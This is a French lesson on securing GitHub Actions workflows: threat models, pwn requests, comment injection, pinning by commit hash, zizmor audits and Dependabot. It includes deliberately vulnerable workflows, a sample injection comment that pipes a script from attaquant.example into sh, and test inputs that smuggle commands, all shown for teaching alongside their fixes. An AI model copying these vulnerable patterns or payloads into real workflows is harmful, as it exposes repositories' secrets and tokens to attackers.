Sécuriser ses workflows
Pourquoi
Un pipeline d'intégration continue concentre ce qu'un attaquant cherche : le code source, des jetons d'écriture sur le dépôt, des secrets de publication et de déploiement, et une machine qui exécute ce qu'on lui donne. Les deux dernières années l'ont montré à répétition :
| Date | Incident | Mécanisme |
|---|---|---|
| Décembre 2024 | Ultralytics : versions piégées publiées sur PyPI | pull_request_target + nom de branche injecté dans un script + cache empoisonné |
| Mars 2025 | tj-actions/changed-files, utilisée par plus de 20 000 dépôts | étiquettes réécrites vers du code qui vidait la mémoire du runner (et ses secrets) dans les journaux, après la compromission de reviewdog/action-setup |
| Septembre et novembre 2025 | Shai-Hulud, ver npm | jetons volés sur les postes et dans les pipelines ; la seconde vague enregistrait les machines infectées comme runners auto-hébergés et ajoutait un workflow injectable |
| Mars 2026 | aquasecurity/trivy-action | une « pwn request » vole un jeton d'organisation ; 76 des 77 étiquettes de l'action réécrites vers un voleur de secrets |
| Mai 2026 | TanStack, 84 versions malveillantes de 42 paquets npm | pull_request_target + cache pnpm empoisonné + jeton OIDC lu dans la mémoire du runner de publication |
| Mai 2026 | actions-cool/issues-helper | toutes les étiquettes déplacées vers un commit imposteur |
Ces incidents n'exploitent pas de faille de GitHub. Ils exploitent des configurations de workflows, souvent écrites de bonne foi, et elles se ramènent à quatre mécanismes : du code exécuté que l'on ne maîtrise pas, des entrées non fiables qui deviennent du code, des privilèges trop larges et un état partagé empoisonné. Les leçons précédentes ont traité chacun au passage. Celle-ci les rassemble, les met en face des attaques, outille l'audit, et l'applique aux workflows du fil rouge et à ceux, réels, de Lyneko.
Les concepts
Le modèle de menace d'un workflow
flowchart LR
A["Entrées<br/>(titres, branches, commentaires,<br/>code d'une bifurcation)"] --> W["Workflow<br/>sur le runner"]
C["Code tiers<br/>(actions, dépendances, images)"] --> W
S["État partagé<br/>(cache, artefacts)"] --> W
W --> P["Privilèges<br/>(GITHUB_TOKEN, secrets,<br/>jeton OIDC, cache)"]
Une attaque réussie relie une source que l'attaquant contrôle (à gauche) à un privilège qu'il veut obtenir (à droite), à travers le workflow. Les défenses consistent à couper ces chemins : réduire les privilèges, isoler les sources non fiables des jobs privilégiés, et figer le code tiers.
Les privilèges : le GITHUB_TOKEN
Chaque job reçoit un GITHUB_TOKEN, dont les permissions se règlent par portée : contents, pull-requests, issues, packages, actions, checks, statuses, deployments, pages, security-events, attestations, artifact-metadata, discussions, code-quality, id-token (write ou none seulement), vulnerability-alerts (read ou none). Trois règles :
- dès qu'une portée est déclarée, toutes les autres passent à
none; permissions: {}retire tout ;read-alletwrite-allexistent, le second ne devrait jamais être écrit ;- les dépôts et organisations créés depuis février 2023 ont un jeton en lecture par défaut, les plus anciens peuvent avoir gardé l'écriture.
Le jeton est valable au plus 6 heures sur un runner hébergé (24 heures sur un runner auto-hébergé), et toujours limité au dépôt. Il est en lecture seule pour les demandes de fusion venues d'une bifurcation, sauf réglage contraire de l'administrateur.
Les déclencheurs dangereux
Trois déclencheurs s'exécutent dans le contexte de la branche par défaut, avec les secrets et un jeton qui peut écrire (selon les permissions), alors que n'importe qui peut les provoquer sur un dépôt public :
pull_request_target: une demande de fusion, y compris d'une bifurcation. Depuis décembre 2025, le workflow et le commit utilisés sont toujours ceux de la branche par défaut, quelle que soit la branche visée.issue_comment(etissues,discussion...) : un commentaire, écrit par n'importe qui.workflow_run: la fin d'un autre workflow, éventuellement déclenché par une demande de fusion d'une bifurcation, dont il peut télécharger les artefacts.
Ces déclencheurs ne sont pas dangereux en soi : ils servent à commenter une demande de fusion, à étiqueter, à publier un aperçu. Ils le deviennent dès que le workflow exécute quelque chose qui vient de l'attaquant : le code de la bifurcation (la pwn request), le texte d'un commentaire (l'injection), le contenu d'un artefact.
Le code tiers et l'épinglage
uses: propriétaire/dépôt@v4 désigne une étiquette Git, c'est-à-dire un pointeur mobile : quiconque peut écrire dans le dépôt de l'action peut la déplacer vers n'importe quel commit. C'est ce qu'ont fait les attaquants de tj-actions, de trivy-action et d'issues-helper. Seule l'empreinte complète d'un commit (40 caractères hexadécimaux) désigne un contenu immuable.
L'épinglage a lui-même deux angles morts :
- Les commits imposteurs. GitHub partage les objets Git entre un dépôt et ses bifurcations. Un attaquant peut créer un commit dans sa bifurcation d'une action, et ce commit est accessible par
propriétaire-original/action@<empreinte>, alors qu'il n'appartient à aucune branche ni étiquette du dépôt d'origine. Une empreinte copiée d'une source douteuse peut donc désigner du code que les mainteneurs n'ont jamais écrit. zizmor le vérifie (auditimpostor-commit, en mode connecté). - Les dépendances transitives. Une action épinglée peut elle-même appeler des actions par étiquette (une action composite), télécharger un outil à la volée, ou référencer une image Docker mobile. L'épinglage ne vaut que pour le premier niveau.
En pratique
Anatomie de deux workflows vulnérables
Voici deux workflows écrits sur le modèle des incidents. Ils ont l'air raisonnables.
# NE PAS UTILISER : exemple volontairement vulnérable (« pwn request »).
name: Aperçu de la demande de fusion
on:
pull_request_target:
jobs:
apercu:
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
with:
python-version: "3.14"
cache: pip
- run: pip install -r requirements-dev.txt && pytest
- name: Publier l'aperçu
env:
JETON_APERCU: ${{ secrets.JETON_APERCU }}
run: ./ci/publier-apercu.sh "${{ github.event.pull_request.title }}"L'intention : construire un aperçu de chaque demande de fusion et le publier avec un jeton secret. Le problème : pull_request_target donne au job les secrets et un jeton en écriture, puis checkout récupère le code de la bifurcation (head.sha), et pip install et pytest l'exécutent. Un fichier conftest.py ou un setup.py dans la demande de fusion suffit à lire JETON_APERCU et le GITHUB_TOKEN, avec les permissions par défaut du dépôt faute de bloc permissions (en écriture sur les dépôts anciens). Avant juin 2026, il pouvait aussi écrire dans le cache de la branche par défaut ; ce déclencheur n'y a plus qu'un accès en lecture. Le titre de la demande de fusion est, en plus, injecté dans la ligne de commande.
# NE PAS UTILISER : exemple volontairement vulnérable (injection par commentaire).
name: Commande de déploiement
on:
issue_comment:
types: [created]
permissions: write-all
jobs:
deployer:
if: contains(github.event.comment.body, '/deployer')
runs-on: ubuntu-24.04
steps:
- run: |
echo "Demande de ${{ github.event.comment.user.login }} : ${{ github.event.comment.body }}"N'importe qui peut commenter un ticket d'un dépôt public. Un commentaire /deployer $(curl -s https://attaquant.example/x | sh) exécute le script de l'attaquant avec un jeton qui a toutes les permissions en écriture. C'est, à la forme près, la porte dérobée que posait le ver Shai-Hulud 2.0 dans les dépôts qu'il infectait.
Ce que voient les outils
actionlint repère les injections :
$ actionlint .github/workflows/*.yml
.github/workflows/apercu.yml:25:42: "github.event.pull_request.title" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details [expression]
.github/workflows/commande.yml:15:76: "github.event.comment.body" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details [expression]
zizmor va plus loin, avec un modèle des déclencheurs et des permissions :
$ uvx zizmor --offline .github/workflows/
...
13 findings (7 suppressed, 4 unsafe fixes): 0 informational, 0 low, 2 medium, 4 high
dont, regroupés par audit :
1 error[dangerous-triggers]
3 error[template-injection]
1 warning[artipacked]
1 warning[excessive-permissions]Deux constats en détail :
error[dangerous-triggers]: use of fundamentally insecure workflow trigger
--> .github/workflows/apercu.yml:4:1
|
4 | / on:
5 | | pull_request_target:
| |______________________^ pull_request_target is almost always used insecurely
|
= note: audit confidence → Medium
= help: audit documentation → https://docs.zizmor.sh/audits/#dangerous-triggers
warning[excessive-permissions]: overly broad permissions
--> .github/workflows/apercu.yml:8:3
|
8 | / apercu:
9 | | runs-on: ubuntu-24.04
...
25 | | run: ./ci/publier-apercu.sh "${{ github.event.pull_request.title }}"
| |_____________________________________________________________________________this job
| default permissions used due to no permissions: block
Le write-all du second workflow n'apparaît qu'avec le profil d'audit plus exigeant (--persona=auditor), qui ajoute error[excessive-permissions] sur ce fichier. Les profils servent à cela : le profil par défaut limite les faux positifs, le profil auditor montre tout ce qui mérite un regard.
Aucun des deux outils ne voit l'essentiel du premier workflow : que pip install et pytest exécutent le code récupéré. Ils signalent le déclencheur et l'absence de permissions ; le raisonnement reste à faire.
Le garde-fou de checkout v7
Depuis juin 2026, actions/checkout refuse de lui-même le schéma de la pwn request : dans un workflow pull_request_target ou workflow_run, il échoue si on lui demande le code d'une demande de fusion venue d'une bifurcation. Une action JavaScript n'étant qu'un programme Node (leçon 8), on peut exécuter le paquet réel de checkout v7.0.1 localement, avec un événement de demande de fusion fabriqué pour l'occasion, dont la tête vient d'un dépôt attaquant/signalements :
$ GITHUB_EVENT_NAME=pull_request_target GITHUB_EVENT_PATH=evenement.json \
INPUT_REPOSITORY=lyneko-formation/signalements \
INPUT_REF=1234567890abcdef1234567890abcdef12345678 ... node checkout/dist/index.js
::error::Refusing to check out fork pull request code from a 'pull_request_target' workflow. This workflow runs with the base repository's GITHUB_TOKEN, secrets, default-branch cache scope, and runner access. Fetching and executing a fork's code in that trusted context commonly leads to "pwn request" vulnerabilities. To opt in, review the risks at https://gh.io/securely-using-pull_request_target and set 'allow-unsafe-pr-checkout: true' on the actions/checkout step.
Avec le même événement, mais une tête dans le dépôt lui-même (une branche interne, poussée par quelqu'un qui a déjà le droit d'écrire), l'action passe à la récupération. Le code source de la vérification (unsafe-pr-checkout-helper.ts) montre ses limites : elle compare le dépôt, la référence et l'empreinte demandés à ceux de la demande de fusion. Un git fetch à la main, gh pr checkout, ou le téléchargement d'un artefact produit par la bifurcation passent à côté. C'est une ceinture de sécurité, pas une raison de garder le schéma.
Les versions corrigées
Le principe est de séparer ce qui exécute du code non fiable de ce qui détient des privilèges. L'aperçu se fait en deux workflows :
# Étape 1, sans privilège : construire l'aperçu à partir du code proposé.
name: Aperçu de la demande de fusion
on:
pull_request:
permissions:
contents: read
jobs:
construire:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
with:
python-version: "3.14"
- run: pip install -r requirements-dev.txt && pytest
- name: Construire l'aperçu
env:
NUMERO: ${{ github.event.pull_request.number }}
run: |
python ci/construire_apercu.py --sortie apercu/
echo "$NUMERO" > apercu/NUMERO
- uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
with:
name: apercu
path: apercu/
retention-days: 3# Étape 2, privilégiée : publier l'aperçu, sans jamais exécuter le code proposé.
name: Publier l'aperçu
on:
workflow_run: # zizmor: ignore[dangerous-triggers] artefact traité comme donnée, jamais exécuté
workflows: ["Aperçu de la demande de fusion"]
types: [completed]
permissions: {}
jobs:
publier:
if: github.event.workflow_run.conclusion == 'success'
runs-on: ubuntu-24.04
timeout-minutes: 5
environment: apercu
permissions:
actions: read
steps:
- uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1
with:
name: apercu
path: apercu
run-id: ${{ github.event.workflow_run.id }}
github-token: ${{ github.token }}
# L'artefact est une donnée non fiable : on le transmet, on ne l'exécute pas.
- name: Publier
env:
JETON_APERCU: ${{ secrets.JETON_APERCU }}
run: |
# Le numéro vient de l'artefact : donnée non fiable, on la valide.
numero=$(head -c 16 apercu/NUMERO)
if ! [[ "$numero" =~ ^[0-9]+$ ]]; then
echo "numéro de demande de fusion invalide" >&2
exit 1
fi
rm apercu/NUMERO
tar -czf apercu.tar.gz -C apercu .
curl -sSf -H "Authorization: Bearer $JETON_APERCU" \
--data-binary @apercu.tar.gz "https://apercus.lyneko.example/pr/$numero"Le premier workflow exécute le code proposé avec pull_request : pas de secret, jeton en lecture, cache en lecture seule sur la branche par défaut. Le second détient le secret, mais n'exécute rien de ce qui vient de la demande de fusion : il archive l'artefact et l'envoie. Le numéro de la demande de fusion voyage dans l'artefact, parce que github.event.workflow_run.pull_requests est vide pour une demande de fusion venue d'une bifurcation, précisément le cas visé ; venu de l'artefact, c'est une donnée non fiable, que le second workflow valide comme un entier avant de s'en servir. La validation, éprouvée localement sur quatre contenus possibles du fichier :
$ for v in '42' '42; curl attaquant.example' '$(id)' ''; do
> printf '%s' "$v" > apercu/NUMERO; printf 'NUMERO=%-28s -> ' "'$v'"
> bash --noprofile --norc -eo pipefail -c 'numero=$(head -c 16 apercu/NUMERO)
> if ! [[ "$numero" =~ ^[0-9]+$ ]]; then echo "numéro de demande de fusion invalide" >&2; exit 1; fi
> echo "accepté : $numero"' 2>&1
> done
NUMERO='42' -> accepté : 42
NUMERO='42; curl attaquant.example' -> numéro de demande de fusion invalide
NUMERO='$(id)' -> numéro de demande de fusion invalide
NUMERO='' -> numéro de demande de fusion invalide
Le secret est rangé dans un environnement dédié, et le job n'a que la permission dont il a besoin (actions: read, pour télécharger l'artefact d'un autre run). Le commentaire # zizmor: ignore[...] désactive un constat à cet endroit précis, avec sa justification sous les yeux du relecteur : zizmor signale tout workflow_run, par construction, et ce cas a été examiné.
La commande par commentaire, corrigée :
name: Commande de déploiement
on:
issue_comment:
types: [created]
permissions: {}
jobs:
deployer:
if: >-
github.event.issue.pull_request &&
startsWith(github.event.comment.body, '/deployer') &&
contains(fromJSON('["OWNER", "MEMBER"]'), github.event.comment.author_association)
runs-on: ubuntu-24.04
timeout-minutes: 5
permissions:
contents: read
steps:
- env:
AUTEUR: ${{ github.event.comment.user.login }}
COMMENTAIRE: ${{ github.event.comment.body }}
run: |
printf 'Demande de %s : %s\n' "$AUTEUR" "$COMMENTAIRE"Trois corrections : la commande n'est acceptée que des membres de l'organisation (author_association), sur une demande de fusion ; le texte passe par des variables d'environnement ; et les permissions sont nulles par défaut, contents: read pour le job. Résultat :
$ actionlint && uvx zizmor --offline .github/workflows/
No findings to report. Good job! (1 ignored, 7 suppressed)
Épingler par empreinte
Les workflows de Signalements référencent encore les actions par étiquette. Avant correction, zizmor relève 21 constats de gravité haute :
$ uvx zizmor --offline .github/
34 findings (8 suppressed, 5 unsafe fixes): 0 informational, 5 low, 0 medium, 21 high
Le script ci/epingler.py remplace chaque uses: propriétaire/dépôt@vN par l'empreinte du commit, suivie de la version exacte en commentaire, en interrogeant l'API de GitHub en lecture seule :
"""Remplace « uses: propriétaire/dépôt@vN » par l'empreinte du commit, suivie de la
version exacte en commentaire. Utilise l'API de GitHub en lecture seule (via gh).
Usage : python ci/epingler.py .github/workflows/*.yml .github/actions/*/action.yml
"""
import json
import re
import subprocess
import sys
MOTIF = re.compile(r"^(\s*-?\s*uses:\s*)([\w.-]+/[\w.-]+)((?:/[\w./-]+)?)@(v[\w.-]+)\s*$")
connus = {}
def gh(chemin):
return json.loads(subprocess.run(["gh", "api", chemin], capture_output=True, text=True, check=True).stdout)
def resoudre(depot, etiquette):
"""Empreinte du commit désigné par l'étiquette, et la version exacte qui lui correspond."""
if (depot, etiquette) not in connus:
empreinte = gh(f"repos/{depot}/commits/{etiquette}")["sha"]
versions = [v["tagName"] for v in json.loads(subprocess.run(
["gh", "release", "list", "-R", depot, "--limit", "30", "--json", "tagName"],
capture_output=True, text=True, check=True).stdout)]
exacte = next((v for v in versions if v.startswith(etiquette + ".")
and gh(f"repos/{depot}/commits/{v}")["sha"] == empreinte), etiquette)
connus[(depot, etiquette)] = (empreinte, exacte)
return connus[(depot, etiquette)]
for fichier in sys.argv[1:]:
lignes = open(fichier, encoding="utf-8").read().splitlines(keepends=True)
for i, ligne in enumerate(lignes):
m = MOTIF.match(ligne.rstrip("\n"))
if not m:
continue
debut, depot, sous_chemin, etiquette = m.groups()
empreinte, exacte = resoudre(depot, etiquette)
lignes[i] = f"{debut}{depot}{sous_chemin}@{empreinte} # {exacte}\n"
print(f"{fichier}: {depot}{sous_chemin}@{etiquette} -> {empreinte[:12]}… ({exacte})")
open(fichier, "w", encoding="utf-8").writelines(lignes)$ python3 ci/epingler.py .github/workflows/*.yml .github/actions/*/action.yml
.github/workflows/ci.yml: actions/checkout@v7 -> 3d3c42e5aac5… (v7.0.1)
.github/workflows/ci.yml: actions/upload-artifact@v7 -> 043fb46d1a93… (v7.0.1)
.github/workflows/ci.yml: actions/download-artifact@v8 -> 3e5f45b2cfb9… (v8.0.1)
.github/workflows/image-multiarch.yml: docker/setup-buildx-action@v4 -> f87e5991a6d7… (v4.4.1)
.github/workflows/image-multiarch.yml: docker/login-action@v4 -> dbcb813823bd… (v4.6.0)
.github/workflows/image-multiarch.yml: docker/build-push-action@v7 -> c3c9e263c25d… (v7.4.0)
.github/workflows/image-multiarch.yml: docker/metadata-action@v6 -> dc8028041006… (v6.2.0)
.github/workflows/image-multiarch.yml: actions/attest@v4 -> 1e69f48acb82… (v4.2.2)
.github/actions/preparer-python/action.yml: actions/setup-python@v7 -> 5fda3b95a4ea… (v7.0.0)
...
$ grep -m1 "checkout@" .github/workflows/ci.yml
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
$ uvx zizmor --offline .github/
13 findings (8 suppressed, 5 unsafe fixes): 0 informational, 3 low, 2 medium, 0 high
(La sortie du script est abrégée : il affiche une ligne par occurrence, vingt et une en tout.) Plus aucun constat de gravité haute. Restent deux avertissements artipacked sur les jobs de déploiement de la leçon 9, qui gardent volontairement leurs identifiants pour pousser, et trois suggestions self-repository (leçon 7). Le commentaire # v7.0.1 n'est pas décoratif : c'est lui que Dependabot met à jour avec l'empreinte, et c'est lui que lit le relecteur.
Le script n'a besoin de GitHub qu'en lecture, et il échoue proprement sur une étiquette inexistante. C'est ainsi qu'on découvre, en voulant épingler zizmorcore/zizmor-action@v0.6, que ce projet ne publie aucune étiquette mobile, seulement des versions exactes (v0.6.4, v0.6.3...) : la pratique recommandée à la leçon 8, appliquée par ses auteurs.
Ce que vaut une étiquette, deux ans après
Pour mesurer à quel point une étiquette ne prouve rien, regardons aujourd'hui les versions de tj-actions/changed-files concernées par l'incident de mars 2025 :
$ for t in v45.0.7 v45.0.8 v45.0.9 v46.0.1; do
> echo "$t $(gh api repos/tj-actions/changed-files/commits/$t --jq '.sha[0:12] + " " + .commit.committer.date')"
> done
v45.0.7 a284dc1814e3 2025-03-15T17:54:46Z
v45.0.8 a284dc1814e3 2025-03-15T17:54:46Z
v45.0.9 a284dc1814e3 2025-03-15T17:54:46Z
v46.0.1 2f7c5bfce283 2025-03-16T04:10:55Z
Trois numéros de version désignent le même commit, daté du lendemain de l'attaque : après avoir nettoyé le dépôt, les mainteneurs ont redirigé les anciennes étiquettes vers un commit sain. Les étiquettes ont donc été déplacées deux fois, par l'attaquant puis par les mainteneurs ; v45.0.7 ne désigne plus aujourd'hui ce qu'elle désignait le 14 mars 2025. Une conséquence inattendue : l'audit known-vulnerable-actions de zizmor, qui compare la version à la base d'avis de GitHub (<= 45.0.7), résout l'étiquette vers le commit actuel, y voit v45.0.9, et ne signale rien. Un journal de run qui dit « v45.0.7 » ne permet pas de savoir quel code a été exécuté ; une empreinte, si.
Dependabot pour tenir les empreintes à jour
Épingler sans mettre à jour, c'est se figer sur des versions qui accumulent les failles. Dependabot sait mettre à jour les actions épinglées par empreinte (il remplace l'empreinte et le commentaire de version, s'il est sur la même ligne). Le fichier .github/dependabot.yml de Signalements :
version: 2
updates:
- package-ecosystem: github-actions
directory: /
schedule:
interval: weekly
day: monday
time: "06:00"
timezone: Europe/Paris
cooldown:
default-days: 7
groups:
actions:
patterns: ["*"]
commit-message:
prefix: "CI"
- package-ecosystem: pip
directory: /
schedule:
interval: weekly
day: monday
time: "06:00"
timezone: Europe/Paris
cooldown:
default-days: 7
semver-major-days: 14
commit-message:
prefix: "Dépendances"Le délai de carence (cooldown) est la mesure la plus utile contre les compromissions de 2025 et 2026 : une version publiée n'est proposée qu'après quelques jours, le temps que la communauté repère une version piégée (celles de tj-actions et de trivy-action ont été détectées en quelques heures). Depuis juillet 2026, Dependabot applique par défaut une carence de 3 jours aux mises à jour de version, même sans configuration ; on la porte ici à 7 jours, 14 pour les versions majeures. Les mises à jour de sécurité ne sont pas retardées. Le regroupement produit une seule demande de fusion pour toutes les actions, au lieu d'une par action.
Le fichier se valide contre son schéma, ce qui évite de découvrir une faute de frappe par l'absence silencieuse de mises à jour :
$ uvx check-jsonschema --builtin-schema vendor.dependabot .github/dependabot.yml
ok -- validation done
$ uvx check-jsonschema --builtin-schema vendor.dependabot dependabot-faute.yml
Schema validation errors were encountered.
dependabot-faute.yml::$.updates[0].cooldown: Additional properties are not allowed ('default-day' was unexpected)
dependabot-faute.yml::$.updates[1].cooldown: Additional properties are not allowed ('default-day' was unexpected)
zizmor dans la CI
L'audit doit tourner à chaque modification des workflows, pas seulement quand quelqu'un y pense. Le workflow securite.yml :
name: Sécurité des workflows
on:
push:
branches: [main]
pull_request:
paths:
- ".github/**"
schedule:
- cron: "45 5 * * 1"
timezone: "Europe/Paris"
permissions:
contents: read
jobs:
zizmor:
name: Audit zizmor
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: zizmorcore/zizmor-action@cc914d7f3750a2d13d75c7f184a1060aa0e9d482 # v0.6.4
with:
advanced-security: false
min-severity: medium
online-audits: true- Le filtre
pathsest acceptable ici : ce workflow n'est pas un check exigé (leçon 2). - L'exécution hebdomadaire rattrape ce qui change sans commit : une nouvelle version d'action vulnérable, un nouvel audit de zizmor.
advanced-security: false: l'action publie alors ses constats comme annotations du run au lieu de les envoyer à l'analyse de code de GitHub, qui n'est gratuite que pour les dépôts publics.- Les audits en ligne (
online-audits) interrogent l'API de GitHub : commits imposteurs, actions vulnérables connues, étiquettes et branches homonymes. Lancés localement sur Signalements, ils sont propres pour les actions publiées, et signalent ce qu'ils doivent signaler pour la seule qui ne l'est pas :
$ GH_TOKEN=$(gh auth token) uvx zizmor .github/workflows/ci.yml .github/workflows/image-multiarch.yml .github/actions/preparer-python/action.yml
5 findings (3 suppressed, 2 unsafe fixes): 0 informational, 2 low, 0 medium, 0 high
$ GH_TOKEN=$(gh auth token) uvx zizmor .github/workflows/livraison.yml
1: couldn't list tags for lyneko-team/ecrire-etiquette
2: can't access lyneko-team/ecrire-etiquette: missing or you have no access
L'action ecrire-etiquette de la leçon 8 n'est pas publiée dans le cadre de ce cours : l'audit en ligne ne peut pas vérifier son empreinte, et le dit.
Les réglages de l'organisation
Une partie des protections ne se règle pas dans les workflows, mais dans les réglages Actions de l'organisation (ou du dépôt). Ils valent pour tous les dépôts, y compris ceux que personne n'a encore audités :
- Permissions par défaut du
GITHUB_TOKEN: lecture seule, et interdiction aux workflows d'approuver des demandes de fusion. - Actions autorisées : seulement celles de GitHub, des créateurs vérifiés, et une liste explicite. Depuis août 2025, on peut bloquer une action précise (préfixe
!), et exiger l'épinglage par empreinte : un workflow qui référence une action par étiquette échoue. - Approbation des runs de bifurcation : par défaut, les premiers contributeurs doivent être approuvés ; on peut l'étendre à tous les contributeurs externes.
- Règles d'exécution des workflows (disponibles depuis septembre 2026) : qui peut déclencher quoi (règles d'acteurs), par quels événements (règles d'événements), éventuellement fichier par fichier (
deploy.ymlréservé à une équipe). Un mode d'évaluation montre ce qui serait bloqué avant d'appliquer. Et, pour les dépôts publics sans règle d'événements, GitHub applique une règle par défaut qui désactivepull_request_target, en évaluation depuis septembre et appliquée à partir du 2 novembre 2026.
Le cas réel : les workflows de Lyneko
Les sept copies du workflow de déploiement des applications de Lyneko (leçon 7), auditées le 1er octobre 2026 (zizmor sur chaque fichier, constats comptés par audit). Le site que vous lisez garde son nom ; les six autres applications sont désignées par des lettres, et une adresse interne est masquée :
$ for f in apprendre app-b app-c app-d app-e app-f app-g; do
> printf "%-12s " $f; uvx zizmor --offline $f.yml 2>&1 | grep -E '^(error|warning|help|info)\[' | sed -E 's/\]:.*/]/' | sort | uniq -c | tr '\n' ' '; echo
> done
apprendre 7 error[unpinned-uses] 3 warning[artipacked]
app-b 2 info[template-injection] 1 warning[artipacked]
app-c 5 error[unpinned-uses] 2 warning[artipacked]
app-d 5 error[unpinned-uses] 3 info[template-injection] 1 warning[artipacked]
app-e 1 error[template-injection] 6 error[unpinned-uses] 2 warning[artipacked]
app-f 1 error[template-injection] 6 error[unpinned-uses] 2 warning[artipacked]
app-g 1 error[template-injection] 6 error[unpinned-uses] 2 warning[artipacked]
Les constats d'épinglage (unpinned-uses) sont les plus nombreux ; seule l'application B épingle déjà ses actions par empreinte. Trois applications ont une injection classée « erreur ». Voici laquelle :
error[template-injection]: code injection via template expansion
--> app-g.yml:112:69
|
110 | run: |
| --- this run block
111 | echo "Argo CD reconciles this within ~3 minutes (or sync manually):"
112 | echo " https://argocd.<domaine interne>/applications/argocd/${{ github.event.repository.name }}"
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ may expand into attacker-controllable code
C'est le bon réflexe de trier. Le nom du dépôt ne peut être modifié que par un administrateur du dépôt, qui a déjà tous les droits : le risque pratique est nul. La règle de zizmor (tout champ terminé par name est suspect) est volontairement large, et le constat reste juste dans son principe : une variable d'environnement coûte une ligne et supprime la question. Les constats info de l'application D portent sur des sorties d'étapes calculées par le workflow lui-même, de confiance basse. Les vrais chantiers sont ailleurs : l'épinglage absent partout sauf dans une application, et des identifiants persistés sur des jobs qui n'en ont pas besoin.
Sous le capot
Une étiquette Git est un fichier de référence qui contient une empreinte ; la déplacer, c'est réécrire ce fichier (git tag -f puis git push -f), sans trace dans l'historique des commits. Un commit, lui, est désigné par l'empreinte de son contenu, de ses parents et de ses métadonnées : changer un octet change l'empreinte. C'est pourquoi l'empreinte est la seule référence immuable.
Pour une étape uses:, le runner résout la référence pendant Set up job et l'écrit dans le journal sous la forme Download action repository 'actions/checkout@v7' (SHA:3d3c42e5...). C'est la trace à conserver pour savoir, après coup, quel code a tourné : lors de l'incident tj-actions, les équipes ont cherché dans leurs journaux les empreintes du commit malveillant.
Les commits imposteurs viennent de la façon dont GitHub stocke les bifurcations : un dépôt et toutes ses bifurcations partagent le même réseau d'objets Git. Une requête sur propriétaire/action/commits/<empreinte> trouve donc un commit présent dans une bifurcation quelconque. GitHub affiche un avertissement sur la page d'un tel commit, mais uses: le récupère sans rien dire. Le contrôle consiste à vérifier que l'empreinte est atteignable depuis une branche ou une étiquette du dépôt d'origine : c'est ce que fait zizmor en mode connecté.
Pièges courants
Dependabot met à jour l'empreinte mais pas le commentaire. Le commentaire de version est sur une autre ligne. Il doit suivre l'empreinte sur la même ligne : @<empreinte> # v7.0.1.
Une action épinglée télécharge autre chose. Action composite qui appelle d'autres actions par étiquette, script qui fait curl | sh d'une adresse fixe, image docker:// sans empreinte. Lisez le action.yml des actions que vous épinglez, au moins une fois.
ref-confusion. Une étiquette et une branche portent le même nom dans le dépôt d'une action : @v1 peut désigner l'une ou l'autre. zizmor le signale en mode connecté.
Une condition if: contournable. contains(github.event.comment.body, '/deployer') est vrai pour un commentaire qui contient /deployer n'importe où. Et vérifier github.actor est piégeux : sur certains événements, c'est la personne qui a déclenché l'événement, pas l'auteur du code. Préférez author_association et des correspondances exactes.
permissions: au niveau du workflow, et un job qui en redéclare. Les permissions d'un job remplacent celles du workflow, elles ne s'y ajoutent pas.
Les règles de l'organisation cassent des workflows existants. L'exigence d'épinglage fait échouer tout workflow qui référence une action par étiquette, y compris dans les dépôts oubliés. Activez-la après un inventaire, ou en mode d'évaluation pour les règles d'exécution.
Sécurité
Toute cette leçon parle de sécurité ; cette section dit ce qu'elle ne couvre pas.
La personne de confiance qui ne l'est plus. Un collaborateur qui a le droit d'écrire peut modifier un workflow sur sa branche. Les environnements (leçon 9) et les règles d'exécution limitent ce qu'il obtient ; la relecture des modifications de .github/ (un fichier CODEOWNERS qui désigne l'équipe plateforme) le rend visible.
Le runner compromis. Un job dans lequel l'attaquant exécute déjà du code peut lire tout ce que le job détient, jusqu'au jeton OIDC en mémoire (TanStack). Les défenses sont alors au niveau du runner : runners éphémères, surveillance des connexions sortantes (l'outil harden-runner de StepSecurity, en mode audit puis blocage, a détecté plusieurs des incidents cités), séparation des jobs de publication. La leçon suivante y revient pour les runners auto-hébergés.
Les dépendances du code lui-même. Un paquet npm ou PyPI malveillant installé par pip install dans un job de test s'exécute avec les droits de ce job. Les fichiers de dépendances verrouillés avec empreintes, le délai de carence et des jobs de test sans secret en limitent la portée.
En production
Un plan de déploiement pour une organisation. Dans l'ordre, du moins risqué au plus contraignant : jeton en lecture par défaut ; Dependabot pour les actions dans tous les dépôts ; zizmor dans la CI de chaque dépôt (ou dans un workflow central qui audite toute l'organisation) ; épinglage par empreinte, puis exigence d'épinglage dans la politique de l'organisation ; CODEOWNERS sur .github/ ; règles d'exécution en mode d'évaluation, puis appliquées.
Pour Lyneko, l'audit ci-dessus donne la liste de travail : épingler les six workflows de déploiement qui ne le sont pas (ou, mieux, les remplacer par le workflow réutilisable central de la leçon 7, épinglé une seule fois), poser persist-credentials: false sur les jobs qui ne poussent pas, et traiter les trois injections par des variables d'environnement, même si le risque est faible.
Mesurer le chemin parcouru. Le nombre de constats de zizmor par gravité, suivi dans le temps et par dépôt, est un indicateur simple et parlant pour un comité de sécurité. Il ne mesure pas tout (le premier workflow vulnérable de cette leçon avait l'air presque propre), mais il ne régresse pas sans que quelqu'un le voie.
Exercices
